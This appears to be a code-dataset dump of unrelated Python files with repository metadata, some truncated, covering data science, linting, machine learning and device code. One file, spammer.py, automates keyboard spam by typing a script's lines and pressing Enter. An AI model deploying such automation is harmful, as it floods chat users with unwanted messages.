"MIT"
] | null | null | null | dstools/tests/preprocessing/test_FeatureConverter.py | Diadochokinetic/DataScienceTools | a5701888eeeab8fadab17266e9b3bb7a6b6b7b0a | [
"MIT"
] | 3 | 2019-11-14T09:10:43.000Z | 2019-11-25T13:16:08.000Z | dstools/tests/preprocessing/test_FeatureConverter.py | Diadochokinetic/DataScienceTools | a5701888eeeab8fadab17266e9b3bb7a6b6b7b0a | [
"MIT"
] | null | null | null | import pandas as pd
import numpy as np
import unittest
from dstools.preprocessing.FeatureConverter import FeatureConverter
class TestFeatureConverter(unittest.TestCase):
"""
=======================
=== type conversion ===
=======================
"""
def test_int_to_string(self):
"""
... | 36.643902 | 150 | 0.578674 | 7,339 | 0.97697 | 0 | 0 | 0 | 0 | 0 | 0 | 2,073 | 0.275958 |
21367cf6bd5bc02d6a029a160d178f8fc6a45ea5 | 24,632 | py | Python | MixPanel_daily_DataPipeline/bin/mixpanel_daily_datapipeline.py | ThiagoBarsante/DataEngineer_projects | bbed3653cc8e7bf6aec096d11c78566e3a3f8a2b | [
"MIT"
] | null | null | null | MixPanel_daily_DataPipeline/bin/mixpanel_daily_datapipeline.py | ThiagoBarsante/DataEngineer_projects | bbed3653cc8e7bf6aec096d11c78566e3a3f8a2b | [
"MIT"
] | null | null | null | MixPanel_daily_DataPipeline/bin/mixpanel_daily_datapipeline.py | ThiagoBarsante/DataEngineer_projects | bbed3653cc8e7bf6aec096d11c78566e3a3f8a2b | [
"MIT"
] | null | null | null |
""" This program run one complete datapipeline with raw data from mixpanel (json files API)
and generate one structured file format to be used in a Data Science project
Resume
- validate startup process
- check if the configuration and variables are setup
... | 42.987784 | 126 | 0.631942 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 12,336 | 0.500812 |
2137048d97bbda1f868d76573e8282183898524b | 4,994 | py | Python | imageai/dnnFaceProcessor.py | eusholli/image-pipeline | bdcaafcb7bf17b578aedaf3e2ffd7d9468218651 | [
"MIT"
] | 1 | 2022-02-16T00:48:12.000Z | 2022-02-16T00:48:12.000Z | imageai/dnnFaceProcessor.py | eusholli/image-pipeline | bdcaafcb7bf17b578aedaf3e2ffd7d9468218651 | [
"MIT"
] | null | null | null | imageai/dnnFaceProcessor.py | eusholli/image-pipeline | bdcaafcb7bf17b578aedaf3e2ffd7d9468218651 | [
"MIT"
] | 2 | 2022-01-10T10:51:24.000Z | 2022-03-17T21:30:27.000Z | import traceback
import io
import numpy as np
import sys
import time
import cv2
import datetime
import jsonpickle
import argparse
import asyncio
import os
from common.imagebusutil import FrameDetails, ImagebusTopic # noqa
from common.natsclient import create, subscribe_handler # noqa
modelFile = os.path.join(
... | 30.084337 | 112 | 0.554465 | 0 | 0 | 0 | 0 | 0 | 0 | 4,345 | 0.870044 | 979 | 0.196035 |
213723b3dd0ec2707a09492a68406c41dfb6bc0e | 564 | py | Python | npbench/benchmarks/polybench/durbin/durbin_dace.py | frahlg/npbench | 1bc4d9e2e22f3ca67fa2bc7f40e2e751a9c8dd26 | [
"BSD-3-Clause"
] | 27 | 2021-05-10T11:49:13.000Z | 2022-03-22T18:07:19.000Z | npbench/benchmarks/polybench/durbin/durbin_dace.py | frahlg/npbench | 1bc4d9e2e22f3ca67fa2bc7f40e2e751a9c8dd26 | [
"BSD-3-Clause"
] | 3 | 2021-12-01T13:03:17.000Z | 2022-03-17T10:53:00.000Z | npbench/benchmarks/polybench/durbin/durbin_dace.py | frahlg/npbench | 1bc4d9e2e22f3ca67fa2bc7f40e2e751a9c8dd26 | [
"BSD-3-Clause"
] | 7 | 2021-06-24T03:40:25.000Z | 2022-01-26T09:04:33.000Z | import numpy as np
import dace as dc
M, N = (dc.symbol(s, dtype=dc.int64) for s in ('M', 'N'))
@dc.program
def flip(A: dc.float64[M]):
B = np.ndarray((M, ), dtype=np.float64)
for i in dc.map[0:M]:
B[i] = A[M - 1 - i]
return B
@dc.program
def kernel(r: dc.float64[N]):
y = np.empty_like(r)
... | 18.8 | 59 | 0.492908 | 0 | 0 | 0 | 0 | 462 | 0.819149 | 0 | 0 | 6 | 0.010638 |
21373676a4bc270dbe3e9faf1a06f0fa837f82a5 | 942 | py | Python | tests/greedy/test_oblate_system.py | rodluger/starry | da7fee48c5ef94278f0047be0579e2f13492cdd5 | [
"MIT"
] | 116 | 2018-02-23T19:47:15.000Z | 2022-02-21T04:43:46.000Z | tests/greedy/test_oblate_system.py | rodluger/starry | da7fee48c5ef94278f0047be0579e2f13492cdd5 | [
"MIT"
] | 224 | 2018-02-26T00:41:51.000Z | 2022-03-29T10:38:16.000Z | tests/greedy/test_oblate_system.py | rodluger/starry | da7fee48c5ef94278f0047be0579e2f13492cdd5 | [
"MIT"
] | 25 | 2018-02-26T18:14:36.000Z | 2021-11-30T01:00:56.000Z | import starry
import numpy as np
import matplotlib.pyplot as plt
import pytest
@pytest.mark.parametrize("ydeg,nw", [[0, None], [0, 10], [1, None], [1, 10]])
def test_system(ydeg, nw):
# Oblate map
map = starry.Map(udeg=2, ydeg=ydeg, oblate=True, nw=nw)
map[1] = 0.5
map[2] = 0.25
map.omega = 0.5
... | 26.914286 | 78 | 0.604034 | 0 | 0 | 0 | 0 | 860 | 0.912951 | 0 | 0 | 92 | 0.097665 |
213758f6e40b22edcd53c6d74547322178a746bc | 378 | py | Python | spammer.py | Traftmine/SPAMMER | 1d9b975d78546cc55976aff169caff410f5ef74a | [
"MIT"
] | null | null | null | spammer.py | Traftmine/SPAMMER | 1d9b975d78546cc55976aff169caff410f5ef74a | [
"MIT"
] | null | null | null | spammer.py | Traftmine/SPAMMER | 1d9b975d78546cc55976aff169caff410f5ef74a | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
"""
Created on Mon Feb 15 19:41:48 2021
@author: Traftmine
"""
import time
import pyautogui
START = time.time()
time.sleep(5)
SCRIPT = open("beescript.txt", 'r')
for word in SCRIPT:
pyautogui.typewrite(word)
pyautogui.press("enter")
SCRIPT.close()
END = time.time()
pri... | 19.894737 | 60 | 0.640212 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 145 | 0.383598 |
213c6a678c515a0116b76bfafad41525918bca72 | 1,408 | py | Python | src/interface.py | team-crescendo/3rd-anniversary-bot | edf9f819cac781e8f6d6b12cd3902b2fb0b666ce | [
"MIT"
] | 5 | 2021-02-20T04:10:13.000Z | 2021-07-31T16:54:13.000Z | src/interface.py | team-crescendo/3rd-anniversary-bot | edf9f819cac781e8f6d6b12cd3902b2fb0b666ce | [
"MIT"
] | null | null | null | src/interface.py | team-crescendo/3rd-anniversary-bot | edf9f819cac781e8f6d6b12cd3902b2fb0b666ce | [
"MIT"
] | null | null | null | import asyncio
from typing import List
import discord
from discord.ext import commands
async def is_confirmed(ctx: commands.Context, message: discord.Message) -> bool:
emojis = ["⭕", "❌"]
for emoji in emojis:
await message.add_reaction(emoji)
def _check(reaction, user):
return reaction.m... | 27.076923 | 88 | 0.649148 | 0 | 0 | 0 | 0 | 0 | 0 | 1,317 | 0.9314 | 57 | 0.040311 |
213cacab60c7aca13a5911f8efdb7500b4cda703 | 468 | py | Python | mine/chess_knight.py | NigrumAquila/py_checkio | df437c2c3ad325d84714665000e3299a70e91f32 | [
"MIT"
] | null | null | null | mine/chess_knight.py | NigrumAquila/py_checkio | df437c2c3ad325d84714665000e3299a70e91f32 | [
"MIT"
] | null | null | null | mine/chess_knight.py | NigrumAquila/py_checkio | df437c2c3ad325d84714665000e3299a70e91f32 | [
"MIT"
] | null | null | null | def chess_knight(start, moves):
def knight_can_move(from_pos, to_pos):
return set(map(lambda x: abs(ord(x[0]) - ord(x[1])), zip(from_pos, to_pos))) == {1, 2}
def knight_moves(pos):
return {f + r for f in 'abcdefgh' for r in '12345678' if knight_can_move(pos, f + r)}
# till ... | 39 | 94 | 0.611111 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 59 | 0.126068 |
213e1a7b560720288d3f4be6cc46d4f9de5f1850 | 863 | py | Python | backend/home/migrations/0003_auto_20220225_1628.py | crowdbotics-apps/myclub-33848 | 3f02f80851419194beb68f6b0caf7630ff10593f | [
"FTL",
"AML",
"RSA-MD"
] | null | null | null | backend/home/migrations/0003_auto_20220225_1628.py | crowdbotics-apps/myclub-33848 | 3f02f80851419194beb68f6b0caf7630ff10593f | [
"FTL",
"AML",
"RSA-MD"
] | null | null | null | backend/home/migrations/0003_auto_20220225_1628.py | crowdbotics-apps/myclub-33848 | 3f02f80851419194beb68f6b0caf7630ff10593f | [
"FTL",
"AML",
"RSA-MD"
] | null | null | null | # Generated by Django 2.2.26 on 2022-02-25 16:28
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
("home", "0002_listecategorie_utilisateurs"),
]
operations = [
migrations.CreateModel(
name="Listerole",
fields=[
... | 25.382353 | 57 | 0.453071 | 769 | 0.891078 | 0 | 0 | 0 | 0 | 0 | 0 | 133 | 0.154114 |
213fe410dc708c64e9b46a2d208e12a8faedbe74 | 147 | py | Python | GoogleColab/InteligenciaAnalitica/Ex5/downloadbase.py | AlexandroLuis/ComputerScience | 273c3f6797737d98ffdf00ae870ceafa3aba59d1 | [
"MIT"
] | 2 | 2021-02-06T21:48:24.000Z | 2022-03-21T00:16:17.000Z | GoogleColab/InteligenciaAnalitica/Ex5/downloadbase.py | AlexandroLuis/ComputerScience | 273c3f6797737d98ffdf00ae870ceafa3aba59d1 | [
"MIT"
] | null | null | null | GoogleColab/InteligenciaAnalitica/Ex5/downloadbase.py | AlexandroLuis/ComputerScience | 273c3f6797737d98ffdf00ae870ceafa3aba59d1 | [
"MIT"
] | 1 | 2022-02-10T20:59:23.000Z | 2022-02-10T20:59:23.000Z | # https://www.kaggle.com/datatattle/covid-19-nlp-text-classification
!gdown --id 1Hd0ytKZrR3s22FheUJt4EZOpZ4eWyTrN
!unzip tweets_corona_virus.zip
| 29.4 | 68 | 0.829932 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 68 | 0.462585 |
2141e05e239a3d0a817c4f902da2501ec904a169 | 3,290 | py | Python | torchpq/transform/PCA.py | mhamilton723/TorchPQ | f3d560ec04d9c741943fa930a1257c9be9445cbe | [
"MIT"
] | 103 | 2021-02-10T18:01:56.000Z | 2022-03-30T21:35:05.000Z | torchpq/transform/PCA.py | mhamilton723/TorchPQ | f3d560ec04d9c741943fa930a1257c9be9445cbe | [
"MIT"
] | 9 | 2021-05-28T14:52:33.000Z | 2022-03-03T13:09:25.000Z | torchpq/transform/PCA.py | mhamilton723/TorchPQ | f3d560ec04d9c741943fa930a1257c9be9445cbe | [
"MIT"
] | 10 | 2021-04-24T04:25:24.000Z | 2022-02-24T07:30:42.000Z | import torch
import numpy as np
from ..CustomModule import CustomModule
class PCA(CustomModule):
def __init__(self, n_components):
"""
Principle Component Analysis (PCA)
n_components: int
number of principle components
"""
super(PCA, self).__init__()
assert n_components > 0
sel... | 32.9 | 105 | 0.631307 | 3,218 | 0.978116 | 0 | 0 | 1,166 | 0.354407 | 0 | 0 | 1,518 | 0.461398 |
2141f6c2a5e3c6a13b0c1c52ce5659bb5340d088 | 1,129 | py | Python | Written test problems/mi2.py | maiwen/Target-Offer | 256e6e2defd93c5d2838ee2d64ebc7739f542318 | [
"MIT"
] | null | null | null | Written test problems/mi2.py | maiwen/Target-Offer | 256e6e2defd93c5d2838ee2d64ebc7739f542318 | [
"MIT"
] | null | null | null | Written test problems/mi2.py | maiwen/Target-Offer | 256e6e2defd93c5d2838ee2d64ebc7739f542318 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
"""
Created on Thu Sep 20 20:17:52 2018
@author: Administrator
最优分割
时间限制:C/C++语言 1000MS;其他语言 3000MS
内存限制:C/C++语言 65536KB;其他语言 589824KB
题目描述:
依次给出n个正整数A1,A2,… ,An,将这n个数分割成m段,每一段内的所有数的和记为这一段的权重, m段权重的最大值记为本次分割的权重。问所有分割方案中分割权重的最小值是多少?
输入
第一行依次给出正整数n,m,单空格切分;(n <= 10000, m <= 10000, ... | 20.160714 | 91 | 0.495128 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 875 | 0.576796 |
2142b80614595ab18852d993af6b0a6d8357433f | 208 | py | Python | Test3/Pandas.py | leejw51/BumblebeeNet | fd9bedbfaad9bb94bcb4f1dc44eec8125bb9c690 | [
"MIT"
] | null | null | null | Test3/Pandas.py | leejw51/BumblebeeNet | fd9bedbfaad9bb94bcb4f1dc44eec8125bb9c690 | [
"MIT"
] | null | null | null | Test3/Pandas.py | leejw51/BumblebeeNet | fd9bedbfaad9bb94bcb4f1dc44eec8125bb9c690 | [
"MIT"
] | null | null | null | import pandas as pd
data = {'name':['john', 'anna', 'peter', 'linda'],
'location': [ 'new york', 'paris', 'berlin', 'london'],
'age': [24, 13, 53, 33]}
data_pandas = pd.DataFrame(data)
print(data_pandas)
| 29.714286 | 57 | 0.610577 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 80 | 0.384615 |
21438f5d89045c2d0df6696f5e05b0ab56153e8c | 123 | py | Python | organizer/admin.py | siddeshlc8/Software-Engineering-Project | f1b5c1ef029d1126b6446b53755b9c91b095d4a1 | [
"MIT"
] | 4 | 2021-01-11T09:10:49.000Z | 2022-03-20T09:39:41.000Z | organizer/admin.py | siddeshlc8/Software_Engineering_Project | f1b5c1ef029d1126b6446b53755b9c91b095d4a1 | [
"MIT"
] | 6 | 2020-06-05T22:33:29.000Z | 2022-01-13T01:33:17.000Z | organizer/admin.py | siddeshlc8/Software_Engineering_Project | f1b5c1ef029d1126b6446b53755b9c91b095d4a1 | [
"MIT"
] | 1 | 2018-09-10T07:44:56.000Z | 2018-09-10T07:44:56.000Z | from django.contrib import admin
# Register your models here.
from .models import Organizer
admin.site.register(Organizer) | 24.6 | 32 | 0.821138 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 28 | 0.227642 |
214411710e8567c4e5cffb0ed9a4ae6ad5adf983 | 5,830 | py | Python | pyts/multivariate/transformation/multivariate.py | jmrichardson/pyts | b48cf2d6f50ee91b75c7340544eb906783132e1b | [
"BSD-3-Clause"
] | 1 | 2021-05-06T06:48:36.000Z | 2021-05-06T06:48:36.000Z | pyts/multivariate/transformation/multivariate.py | jmrichardson/pyts | b48cf2d6f50ee91b75c7340544eb906783132e1b | [
"BSD-3-Clause"
] | null | null | null | pyts/multivariate/transformation/multivariate.py | jmrichardson/pyts | b48cf2d6f50ee91b75c7340544eb906783132e1b | [
"BSD-3-Clause"
] | null | null | null | """Utility class for multivariate time series transformation."""
# Author: Johann Faouzi <johann.faouzi@gmail.com>
# License: BSD-3-Clause
import numpy as np
from scipy.sparse import csr_matrix, hstack
from sklearn.base import BaseEstimator, TransformerMixin, clone
from sklearn.utils.validation import check_is_fitted... | 36.666667 | 78 | 0.58199 | 5,471 | 0.938422 | 0 | 0 | 356 | 0.061063 | 0 | 0 | 2,636 | 0.452144 |
21494c69ffef8b679fa92b163bcdf892d0556e01 | 466 | py | Python | application/__init__.py | thec0sm0s/Quick-Notes | 09940a1dc7780b16fadb1e43d7734b101dd989de | [
"MIT"
] | 1 | 2020-10-18T02:34:26.000Z | 2020-10-18T02:34:26.000Z | application/__init__.py | thec0sm0s/Quick-Notes | 09940a1dc7780b16fadb1e43d7734b101dd989de | [
"MIT"
] | 8 | 2020-09-28T10:01:31.000Z | 2020-10-12T04:51:25.000Z | application/__init__.py | thec0sm0s/cosnote | 09940a1dc7780b16fadb1e43d7734b101dd989de | [
"MIT"
] | 4 | 2020-09-28T11:47:27.000Z | 2020-10-12T06:54:06.000Z | from flask import Flask
from flask_cors import CORS
from flask_bcrypt import Bcrypt
bcrypt = Bcrypt()
def get_app(configs=None):
from . import api
from . import resource
app = Flask(__name__)
app.config.from_object(configs)
_cors = CORS(app, supports_credentials=True, origins=["http://localhos... | 20.26087 | 85 | 0.729614 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 23 | 0.049356 |
214b43a990400499b8350ae43eeb230c5ca18816 | 612 | py | Python | src/bgfactory/components/pango_helpers.py | avolny/board-game-factory | bb9e08c970465aa56ef13de64564be76b9c9c355 | [
"MIT"
] | 5 | 2021-11-12T14:23:44.000Z | 2021-12-29T22:33:12.000Z | src/bgfactory/components/pango_helpers.py | avolny/board-game-factory | bb9e08c970465aa56ef13de64564be76b9c9c355 | [
"MIT"
] | null | null | null | src/bgfactory/components/pango_helpers.py | avolny/board-game-factory | bb9e08c970465aa56ef13de64564be76b9c9c355 | [
"MIT"
] | null | null | null | from bgfactory.components.constants import HALIGN_LEFT, HALIGN_CENTER, HALIGN_RIGHT
import pangocffi as pango
PANGO_SCALE = 1024
def convert_to_pango_align(halign):
if halign == HALIGN_LEFT:
return pango.Alignment.LEFT
elif halign == HALIGN_CENTER:
return pango.Alignment.CENTER
elif hali... | 30.6 | 102 | 0.72549 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 45 | 0.073529 |
214dadec662fb38acdc0deacef6867d63bff248c | 153 | py | Python | electrum_gui/common/provider/chains/bch/__init__.py | BixinKey/electrum | f5de4e74e313b9b569f13ba6ab9142a38bf095f2 | [
"MIT"
] | 12 | 2020-11-12T08:53:05.000Z | 2021-07-06T17:30:39.000Z | electrum_gui/common/provider/chains/bch/__init__.py | BixinKey/electrum | f5de4e74e313b9b569f13ba6ab9142a38bf095f2 | [
"MIT"
] | 209 | 2020-09-23T06:58:18.000Z | 2021-11-18T11:25:41.000Z | electrum_gui/common/provider/chains/bch/__init__.py | taimanhui/electrum | f5de4e74e313b9b569f13ba6ab9142a38bf095f2 | [
"MIT"
] | 19 | 2020-10-13T11:42:26.000Z | 2022-02-06T01:26:34.000Z | from electrum_gui.common.provider.chains.bch.provider import BCHProvider
from electrum_gui.common.provider.chains.btc.clients.blockbook import BlockBook
| 51 | 79 | 0.875817 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
214dde7dad12af45c9eb455e041a1f05ffd86439 | 4,828 | py | Python | modules/SenseHatDisplay/app/DisplayManager.py | J0F3/FaceOff | 528baf85980973eab68c1971d91c7da6aeaeb2da | [
"MIT"
] | null | null | null | modules/SenseHatDisplay/app/DisplayManager.py | J0F3/FaceOff | 528baf85980973eab68c1971d91c7da6aeaeb2da | [
"MIT"
] | null | null | null | modules/SenseHatDisplay/app/DisplayManager.py | J0F3/FaceOff | 528baf85980973eab68c1971d91c7da6aeaeb2da | [
"MIT"
] | null | null | null | import sense_hat
from sense_hat import SenseHat
import time
from enum import Enum
from datetime import datetime
import json
class Colors(Enum):
Green = (0, 255, 0)
Yellow = (255, 255, 0)
Blue = (0, 0, 255)
Red = (255, 0, 0)
White = (255,255,255)
Nothing = (0,0,0)
Pink = (255,105, 180)
O... | 28.738095 | 93 | 0.438898 | 4,699 | 0.973281 | 0 | 0 | 0 | 0 | 0 | 0 | 536 | 0.111019 |
214eeb08d7ebb14824b7046fdeb2729b461abd78 | 15,794 | py | Python | tbcnn/tbcnn.py | Aetf/tensorflow-tbcnn | 798661c1a6b99fb3db369654cf61356ffa4a2cea | [
"MIT"
] | 34 | 2017-04-17T00:34:07.000Z | 2021-11-03T07:43:02.000Z | tbcnn/tbcnn.py | Aetf/tensorflow-tbcnn | 798661c1a6b99fb3db369654cf61356ffa4a2cea | [
"MIT"
] | 4 | 2018-04-01T13:17:55.000Z | 2020-08-01T19:17:31.000Z | tbcnn/tbcnn.py | Aetf/tensorflow-tbcnn | 798661c1a6b99fb3db369654cf61356ffa4a2cea | [
"MIT"
] | 6 | 2017-11-22T07:20:31.000Z | 2021-11-02T17:06:38.000Z | from __future__ import absolute_import, division, print_function
import os
import logging
from timeit import default_timer
import numpy as np
import tensorflow as tf
import tensorflow_fold as td
from . import apputil
from . import data
from . import embedding
from .config import hyper, param
logger = logging.getLog... | 39.386534 | 105 | 0.623085 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3,116 | 0.19729 |
214f2ec300760693fa82e2623b1dc7f4178aa9d5 | 1,112 | py | Python | core/lib/constant.py | UsterNes/OnlineSchemaChange | 88f153587348318277eee904e6aa4f289d055ff6 | [
"BSD-3-Clause"
] | null | null | null | core/lib/constant.py | UsterNes/OnlineSchemaChange | 88f153587348318277eee904e6aa4f289d055ff6 | [
"BSD-3-Clause"
] | null | null | null | core/lib/constant.py | UsterNes/OnlineSchemaChange | 88f153587348318277eee904e6aa4f289d055ff6 | [
"BSD-3-Clause"
] | 1 | 2018-10-17T20:13:56.000Z | 2018-10-17T20:13:56.000Z | """
Copyright (c) 2017-present, Facebook, Inc.
All rights reserved.
This source code is licensed under the BSD-style license found in the
LICENSE file in the root directory of this source tree. An additional grant
of patent rights can be found in the PATENTS file in the same directory.
"""
from __future__ import abs... | 28.512821 | 75 | 0.81295 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 425 | 0.382194 |
214f32a72bdd66cce58de4c90cf81748ebf9c20e | 23,679 | py | Python | panel_view.py | kylebebak/SublimeLinter | 2e72370d80ab02f3fa5d2f079b1d60cf2341f1c4 | [
"MIT"
] | null | null | null | panel_view.py | kylebebak/SublimeLinter | 2e72370d80ab02f3fa5d2f079b1d60cf2341f1c4 | [
"MIT"
] | null | null | null | panel_view.py | kylebebak/SublimeLinter | 2e72370d80ab02f3fa5d2f079b1d60cf2341f1c4 | [
"MIT"
] | null | null | null | from functools import partial
from itertools import chain
import os
import sublime
import sublime_plugin
import textwrap
from .lint import elect, events, persist, util
if False:
from typing import (
Any, Dict, Iterable, List, Optional, Set, Tuple,
Union
)
from mypy_extensions import Typed... | 30.912533 | 85 | 0.627983 | 4,130 | 0.174416 | 0 | 0 | 1,054 | 0.044512 | 0 | 0 | 5,544 | 0.234132 |
214fe1a35139656f959cd6e189d3de536c77d6da | 3,667 | py | Python | core/numpy_dataset.py | paulviallard/NeurIPS21-PB-Robustness | ff26f43d5bac7d2a4bb28632fb2533ca766cbeea | [
"MIT"
] | null | null | null | core/numpy_dataset.py | paulviallard/NeurIPS21-PB-Robustness | ff26f43d5bac7d2a4bb28632fb2533ca766cbeea | [
"MIT"
] | null | null | null | core/numpy_dataset.py | paulviallard/NeurIPS21-PB-Robustness | ff26f43d5bac7d2a4bb28632fb2533ca766cbeea | [
"MIT"
] | null | null | null | # Author: Paul VIALLARD
#
# This file is licensed under the license found in the
# LICENSE file in the root directory of this source tree.
#
# Note: The source code of this file is based on [1]
from re import sub
from torch.utils.data import Dataset
import torch
import numpy as np
import copy
class NumpyDataset(Datas... | 25.116438 | 79 | 0.531497 | 3,197 | 0.87183 | 0 | 0 | 0 | 0 | 0 | 0 | 2,015 | 0.549496 |
215079a9c7eadfd3e8a78a41c34289c25ac04f75 | 5,403 | py | Python | tests/test_datetime.py | mamh-mixed/loguru | 22396695b9d8be9a46eca371279df7c427b27f61 | [
"MIT"
] | null | null | null | tests/test_datetime.py | mamh-mixed/loguru | 22396695b9d8be9a46eca371279df7c427b27f61 | [
"MIT"
] | null | null | null | tests/test_datetime.py | mamh-mixed/loguru | 22396695b9d8be9a46eca371279df7c427b27f61 | [
"MIT"
] | null | null | null | import datetime
import re
import sys
import freezegun
import pytest
from loguru import logger
if sys.version_info < (3, 6):
UTC_NAME = "UTC+00:00"
else:
UTC_NAME = "UTC"
@pytest.mark.parametrize(
"time_format, date, timezone, expected",
[
(
"%Y-%m-%d %H-%M-%S %f %Z %z",
... | 34.634615 | 95 | 0.489728 | 0 | 0 | 0 | 0 | 3,710 | 0.686656 | 0 | 0 | 2,444 | 0.452341 |
21509b83f348b705a2637dddb5a2a5098d3a6cea | 4,214 | py | Python | utilities.py | ayush14029/go | 0820b7cf13e97d062cac45dd0172f670dc7799de | [
"BSD-3-Clause"
] | 2 | 2019-10-17T06:04:54.000Z | 2019-11-18T10:47:45.000Z | utilities.py | ayush14029/go | 0820b7cf13e97d062cac45dd0172f670dc7799de | [
"BSD-3-Clause"
] | null | null | null | utilities.py | ayush14029/go | 0820b7cf13e97d062cac45dd0172f670dc7799de | [
"BSD-3-Clause"
] | null | null | null | import numpy as np
import pandas as pd
from sklearn.model_selection import train_test_split
from sklearn.metrics import mean_squared_error
from sklearn.linear_model import LogisticRegression
import pdb
from sklearn.metrics import *
import matplotlib.pyplot as plt
from sklearn import preprocessing
from sklearn.preproces... | 33.181102 | 134 | 0.68225 | 2,104 | 0.499288 | 0 | 0 | 0 | 0 | 0 | 0 | 170 | 0.040342 |
215244ed6e5594018cc3b5cbb4d45bd70abf6090 | 115 | py | Python | CodeForces/football.py | Snehakri022/Competitive-Programming-Solutions | 62a2cbb2d71a040d81e3e71ad6353a86007b8cb7 | [
"MIT"
] | 40 | 2020-07-25T19:35:37.000Z | 2022-01-28T02:57:02.000Z | CodeForces/football.py | Snehakri022/Competitive-Programming-Solutions | 62a2cbb2d71a040d81e3e71ad6353a86007b8cb7 | [
"MIT"
] | 34 | 2020-10-10T17:59:46.000Z | 2021-10-05T18:29:25.000Z | CodeForces/football.py | Snehakri022/Competitive-Programming-Solutions | 62a2cbb2d71a040d81e3e71ad6353a86007b8cb7 | [
"MIT"
] | 24 | 2020-05-03T08:11:53.000Z | 2021-10-04T03:23:20.000Z | n = str(input())
if("0000000" in n):
print("YES")
elif("1111111" in n):
print("YES")
else:
print("NO")
| 14.375 | 21 | 0.53913 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 32 | 0.278261 |
2152c74dc0a00c6222ed057844e98eb53a007cd2 | 1,925 | py | Python | gt-custom-keypoint/server/processing/sagemaker-gt-postprocess.py | tyohei/amazon-sagemaker-examples-jp | 570498c631241685d6d874139c99b1fcbcb284e7 | [
"Apache-2.0"
] | null | null | null | gt-custom-keypoint/server/processing/sagemaker-gt-postprocess.py | tyohei/amazon-sagemaker-examples-jp | 570498c631241685d6d874139c99b1fcbcb284e7 | [
"Apache-2.0"
] | null | null | null | gt-custom-keypoint/server/processing/sagemaker-gt-postprocess.py | tyohei/amazon-sagemaker-examples-jp | 570498c631241685d6d874139c99b1fcbcb284e7 | [
"Apache-2.0"
] | 1 | 2022-03-22T03:57:46.000Z | 2022-03-22T03:57:46.000Z | # Copyright 2018 Amazon.com, Inc. or its affiliates. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"). You
# may not use this file except in compliance with the License. A copy of
# the License is located at
#
# http://aws.amazon.com/apache2.0/
#
# or in the "license" file acc... | 33.77193 | 79 | 0.617662 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 884 | 0.459221 |
215615a55a46e53c880939d9e05faa78a8938ef1 | 7,164 | py | Python | mi/dataset/parser/test/test_sio_eng_sio.py | rmanoni/mi-dataset | c1012a0cd8f2ea075e008cdd1ab291ed54f44d43 | [
"BSD-2-Clause"
] | 1 | 2015-05-10T01:08:44.000Z | 2015-05-10T01:08:44.000Z | mi/dataset/parser/test/test_sio_eng_sio.py | rmanoni/mi-dataset | c1012a0cd8f2ea075e008cdd1ab291ed54f44d43 | [
"BSD-2-Clause"
] | null | null | null | mi/dataset/parser/test/test_sio_eng_sio.py | rmanoni/mi-dataset | c1012a0cd8f2ea075e008cdd1ab291ed54f44d43 | [
"BSD-2-Clause"
] | 9 | 2015-04-15T21:09:08.000Z | 2019-11-15T03:18:53.000Z | #!/usr/bin/env python
"""
@package mi.dataset.parser.test.test_sio_eng_sio_mule
@file marine-integrations/mi/dataset/parser/test/test_sio_eng_sio_mule.py
@author Mike Nicoletti
@brief Test code for a sio_eng_sio_mule data parser
"""
from nose.plugins.attrib import attr
import os
from mi.core.exceptions import Sample... | 39.8 | 112 | 0.679648 | 6,446 | 0.899777 | 0 | 0 | 6,472 | 0.903406 | 0 | 0 | 2,159 | 0.301368 |
2156a46abb00ae071d32962ecc8069123005c1b9 | 7,015 | py | Python | pybaselines/utils.py | abdelq/pybaselines | 043aa7875efe1ca01c3e8e9ae7c57a67274aff06 | [
"BSD-3-Clause-Clear",
"BSD-3-Clause"
] | null | null | null | pybaselines/utils.py | abdelq/pybaselines | 043aa7875efe1ca01c3e8e9ae7c57a67274aff06 | [
"BSD-3-Clause-Clear",
"BSD-3-Clause"
] | null | null | null | pybaselines/utils.py | abdelq/pybaselines | 043aa7875efe1ca01c3e8e9ae7c57a67274aff06 | [
"BSD-3-Clause-Clear",
"BSD-3-Clause"
] | null | null | null | # -*- coding: utf-8 -*-
"""Helper functions for pybaselines.
Created on March 5, 2021
@author: Donald Erb
"""
import numpy as np
# the minimum positive float values such that a + _MIN_FLOAT != a
_MIN_FLOAT = np.finfo(float).eps
def relative_difference(old, new, norm_order=None):
"""
Calculates the relati... | 30.237069 | 92 | 0.64077 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 4,774 | 0.680542 |
2156a6f88e45f7d5139324715ed005d9901cb302 | 2,482 | py | Python | ants/color_subprocess.py | threexc/SiGPyC | 81bdf2b691c601e266b2ea0249ad0bad074a567a | [
"MIT"
] | 4 | 2019-03-08T07:13:33.000Z | 2020-05-27T13:58:50.000Z | ants/color_subprocess.py | threexc/SiGPyC | 81bdf2b691c601e266b2ea0249ad0bad074a567a | [
"MIT"
] | 47 | 2018-10-16T01:28:34.000Z | 2019-03-26T03:15:36.000Z | ants/color_subprocess.py | threexc/SiGPyC | 81bdf2b691c601e266b2ea0249ad0bad074a567a | [
"MIT"
] | 1 | 2019-06-24T18:50:48.000Z | 2019-06-24T18:50:48.000Z | import sys
import os
import subprocess
import time
import threading
class Popen(object):
"""
Starts the subprocess with colorful output
Arguments:
command: The command
prefix: The prefix to print before every line
color: The color escape code
"""
def ... | 24.82 | 137 | 0.591056 | 1,908 | 0.768735 | 0 | 0 | 0 | 0 | 0 | 0 | 651 | 0.262288 |
